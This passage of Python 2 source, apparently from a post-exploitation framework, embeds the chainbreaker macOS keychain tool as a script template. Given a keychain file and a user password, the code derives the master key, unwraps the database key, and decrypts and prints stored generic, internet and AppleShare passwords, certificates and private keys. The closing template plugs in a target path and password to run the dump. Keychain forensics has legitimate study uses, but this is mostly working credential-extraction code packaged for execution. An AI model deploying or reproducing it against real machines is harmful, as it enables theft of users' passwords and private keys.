record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Volume & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Address & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Signature & 0xFFFFFFFE)) return record ## decrypted dbblob area ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT ## http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36620/lib/StorageManager.cpp def DBBlobDecryption(self, securestoragegroup, dbkey): iv = securestoragegroup[20:28] plain = kcdecrypt(dbkey, iv, securestoragegroup[28:]) return plain # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT # source : http://www.opensource.apple.com/source/libsecurity_cdsa_client/libsecurity_cdsa_client-36213/lib/securestorage.cpp # magicCmsIV : http://www.opensource.apple.com/source/Security/Security-28/AppleCSP/AppleCSP/wrapKeyCms.cpp def KeyblobDecryption(self, encryptedblob, iv, dbkey): magicCmsIV = unhexlify('4adda22c79e82105') plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob) if plain.__len__() == 0: return '' # now we handle the unwrapping. we need to take the first 32 bytes, # and reverse them. revplain = '' for i in range(32): revplain += plain[31 - i] # now the real key gets found. */ plain = kcdecrypt(dbkey, iv, revplain) keyblob = plain[4:] if len(keyblob) != KEYLEN: #raise "Bad decrypted keylen!" return '' return keyblob # test code #http://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55044/lib/KeyItem.cpp def PrivateKeyDecryption(self, encryptedblob, iv, dbkey): magicCmsIV = unhexlify('4adda22c79e82105') plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob) if plain.__len__() == 0: return '' # now we handle the unwrapping. we need to take the first 32 bytes, # and reverse them. revplain = '' for i in range(len(plain)): revplain += plain[len(plain)-1 - i] # now the real key gets found. */ plain = kcdecrypt(dbkey, iv, revplain) #hexdump(plain) Keyname = plain[:12] # Copied Buffer when user click on right and copy a key on Keychain Access keyblob = plain[12:] return Keyname, keyblob ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT def generateMasterKey(self, pw, symmetrickey_offset): base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38 # header # salt SALTLEN = 20 salt = self.fbuf[base_addr + 44:base_addr + 44 + SALTLEN] masterkey = pbkdf2(pw, salt, 1000, KEYLEN) return masterkey ## find DBBlob and extract Wrapping key def findWrappingKey(self, master, symmetrickey_offset): base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38 # startCryptoBlob cipher_text_offset = struct.unpack('>I', self.fbuf[base_addr + 8:base_addr + 8 + ATOM_SIZE])[0] # totalength totallength = struct.unpack('>I', self.fbuf[base_addr + 12:base_addr + 12 + ATOM_SIZE])[0] # IV IVLEN = 8 iv = self.fbuf[base_addr + 64:base_addr + 64 + IVLEN] # get cipher text area ciphertext = self.fbuf[base_addr + cipher_text_offset:base_addr + totallength] # decrypt the key plain = kcdecrypt(master, iv, ciphertext) if plain.__len__() == 0: return '' dbkey = plain[0:KEYLEN] # return encrypted wrapping key return dbkey # SOURCE : extractkeychain.py def kcdecrypt(key, iv, data): if len(data) == 0: #print>>stderr, "FileSize is 0" return data if len(data) % BLOCKSIZE != 0: return data cipher = triple_des(key, CBC, iv) # the line below is for pycrypto instead #cipher = DES3.new( key, DES3.MODE_CBC, iv ) plain = cipher.decrypt(data) # now check padding pad = ord(plain[-1]) if pad > 8: #print>> stderr, "Bad padding byte. You probably have a wrong password" return '' for z in plain[-pad:]: if ord(z) != pad: #print>> stderr, "Bad padding. You probably have a wrong password" return '' plain = plain[:-pad] return plain def chainbreaker(file, password, key=''): parser = argparse.ArgumentParser(description='Tool for OS X Keychain Analysis by @n0fate') parser.add_argument('-f', '--file', nargs=1, help='Keychain file(*.keychain)', required=True) parser.add_argument('-x', '--exportfile', nargs=1, help='Export a filename (SQLite, optional)', required=False) group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-k', '--key', nargs=1, help='Masterkey candidate', required=False) group.add_argument('-p', '--password', nargs=1, help='User Password', required=False) if os.path.exists(file) is False: print '[!] ERROR: Keychain is not exists' parser.print_help() exit() keychain = KeyChain(file) if keychain.open() is False: print '[!] ERROR: %s Open Failed'%file parser.print_help() exit() KeychainHeader = keychain.getHeader() if KeychainHeader.Signature != KEYCHAIN_SIGNATURE: print '[!] ERROR: Invalid Keychain Format' parser.print_help() exit() SchemaInfo, TableList = keychain.getSchemaInfo(KeychainHeader.SchemaOffset) TableMetadata, RecordList = keychain.getTable(TableList[0]) tableCount, tableEnum = keychain.getTablenametoList(RecordList, TableList) # generate database key if password is not None: masterkey = keychain.generateMasterKey(password, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) elif key is not None: dbkey = keychain.findWrappingKey(unhexlify(key), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) else: print '[!] ERROR: password or master key candidate' exit() # DEBUG print ' [-] DB Key' hexdump(dbkey) key_list = {} # keyblob list # get symmetric key blob print '[+] Symmetric Key Table: 0x%.8x' % (sizeof(_APPL_DB_HEADER) + TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]) TableMetadata, symmetrickey_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]) for symmetrickey_record in symmetrickey_list: keyblob, ciphertext, iv, return_value = keychain.getKeyblobRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]], symmetrickey_record) if return_value == 0: passwd = keychain.KeyblobDecryption(ciphertext, iv, dbkey) if passwd != '': key_list[keyblob] = passwd try: TableMetadata, genericpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]]) for genericpw in genericpw_list: record = keychain.getGenericPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]], genericpw) print '[+] Generic Password Record' try: real_key = key_list[record[0][0:20]] passwd = keychain.DBBlobDecryption(record[0], real_key) except KeyError: passwd = '' print ' [-] Create DateTime: %s' % record[1] # 16byte string print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string print ' [-] Description : %s' % record[3] print ' [-] Creator : %s' % record[4] print ' [-] Type : %s' % record[5] print ' [-] PrintName : %s' % record[6] print ' [-] Alias : %s' % record[7] print ' [-] Account : %s' % record[8] print ' [-] Service : %s' % record[9] print ' [-] Password' hexdump(passwd) print '' except KeyError: print '[!] Generic Password Table is not available' pass try: TableMetadata, internetpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]]) for internetpw in internetpw_list: record = keychain.getInternetPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]], internetpw) print '[+] Internet Record' try: real_key = key_list[record[0][0:20]] passwd = keychain.DBBlobDecryption(record[0], real_key) except KeyError: passwd = '' print ' [-] Create DateTime: %s' % record[1] # 16byte string print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string print ' [-] Description : %s' % record[3] print ' [-] Comment : %s' % record[4] print ' [-] Creator : %s' % record[5] print ' [-] Type : %s' % record[6] print ' [-] PrintName : %s' % record[7] print ' [-] Alias : %s' % record[8] print ' [-] Protected : %s' % record[9] print ' [-] Account : %s' % record[10] print ' [-] SecurityDomain : %s' % record[11] print ' [-] Server : %s' % record[12] try: print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]] except KeyError: print ' [-] Protocol Type : %s' % record[13] try: print ' [-] Auth Type : %s' % AUTH_TYPE[record[14]] except KeyError: print ' [-] Auth Type : %s' % record[14] print ' [-] Port : %d' % record[15] print ' [-] Path : %s' % record[16] print ' [-] Password' hexdump(passwd) print '' except KeyError: print '[!] Internet Password Table is not available' pass try: TableMetadata, applesharepw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]]) for applesharepw in applesharepw_list: record = keychain.getAppleshareRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]], applesharepw) print '[+] AppleShare Record (no more used OS X)' try: real_key = key_list[record[0][0:20]] passwd = keychain.DBBlobDecryption(record[0], real_key) except KeyError: passwd = '' #print '' print ' [-] Create DateTime: %s' % record[1] # 16byte string print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string print ' [-] Description : %s' % record[3] print ' [-] Comment : %s' % record[4] print ' [-] Creator : %s' % record[5] print ' [-] Type : %s' % record[6] print ' [-] PrintName : %s' % record[7] print ' [-] Alias : %s' % record[8] print ' [-] Protected : %s' % record[9] print ' [-] Account : %s' % record[10] print ' [-] Volume : %s' % record[11] print ' [-] Server : %s' % record[12] try: print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]] except KeyError: print ' [-] Protocol Type : %s' % record[13] print ' [-] Address : %d' % record[14] print ' [-] Signature : %s' % record[15] print ' [-] Password' hexdump(passwd) print '' except KeyError: print '[!] AppleShare Table is not available' pass try: TableMetadata, x509CertList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]]) for x509Cert in x509CertList: record = keychain.getx509Record(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]], x509Cert) print ' [-] Cert Type: %s' %CERT_TYPE[record[0]] print ' [-] Cert Encoding: %s' %CERT_ENCODING[record[1]] print ' [-] PrintName : %s' % record[2] print ' [-] Alias : %s' % record[3] print ' [-] Subject' hexdump(record[4]) print ' [-] Issuer :' hexdump(record[5]) print ' [-] SerialNumber' hexdump(record[6]) print ' [-] SubjectKeyIdentifier' hexdump(record[7]) print ' [-] Public Key Hash' hexdump(record[8]) print ' [-] Certificate' hexdump(record[9]) print '' except KeyError: print '[!] Certification Table is not available' pass try: TableMetadata, PublicKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]]) for PublicKey in PublicKeyList: record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]], PublicKey) print '[+] Public Key Record' print ' [-] PrintName: %s' %record[0] print ' [-] Label' hexdump(record[1]) print ' [-] Key Class : %s'%KEY_TYPE[record[2]] print ' [-] Private : %d'%record[3] print ' [-] Key Type : %s'%CSSM_ALGORITHMS[record[4]] print ' [-] Key Size : %d bits'%record[5] print ' [-] Effective Key Size : %d bits'%record[6] print ' [-] Extracted : %d'%record[7] print ' [-] CSSM Type : %s' %STD_APPLE_ADDIN_MODULE[record[8]] print ' [-] Public Key' hexdump(record[10]) except KeyError: print '[!] Public Key Table is not available' pass try: table_meta, PrivateKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]]) for PrivateKey in PrivateKeyList: record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]], PrivateKey) print '[+] Private Key Record' print ' [-] PrintName: %s' % record[0] print ' [-] Label' hexdump(record[1]) print ' [-] Key Class : %s' % KEY_TYPE[record[2]] print ' [-] Private : %d' % record[3] print ' [-] Key Type : %s' % CSSM_ALGORITHMS[record[4]] print ' [-] Key Size : %d bits' % record[5] print ' [-] Effective Key Size : %d bits' % record[6] print ' [-] Extracted : %d' % record[7] print ' [-] CSSM Type : %s' % STD_APPLE_ADDIN_MODULE[record[8]] keyname, privatekey = keychain.PrivateKeyDecryption(record[10], record[9], dbkey) print ' [-] Key Name' hexdump(keyname) print ' [-] Decrypted Private Key' hexdump(privatekey) except KeyError: print '[!] Private Key Table is not available' pass exit() """ script += """ try: import gc gc.collect() chainbreaker('%s', '%s', key='') gc.collect() except Exception as e: print e pass """ % (keyChain, password) return script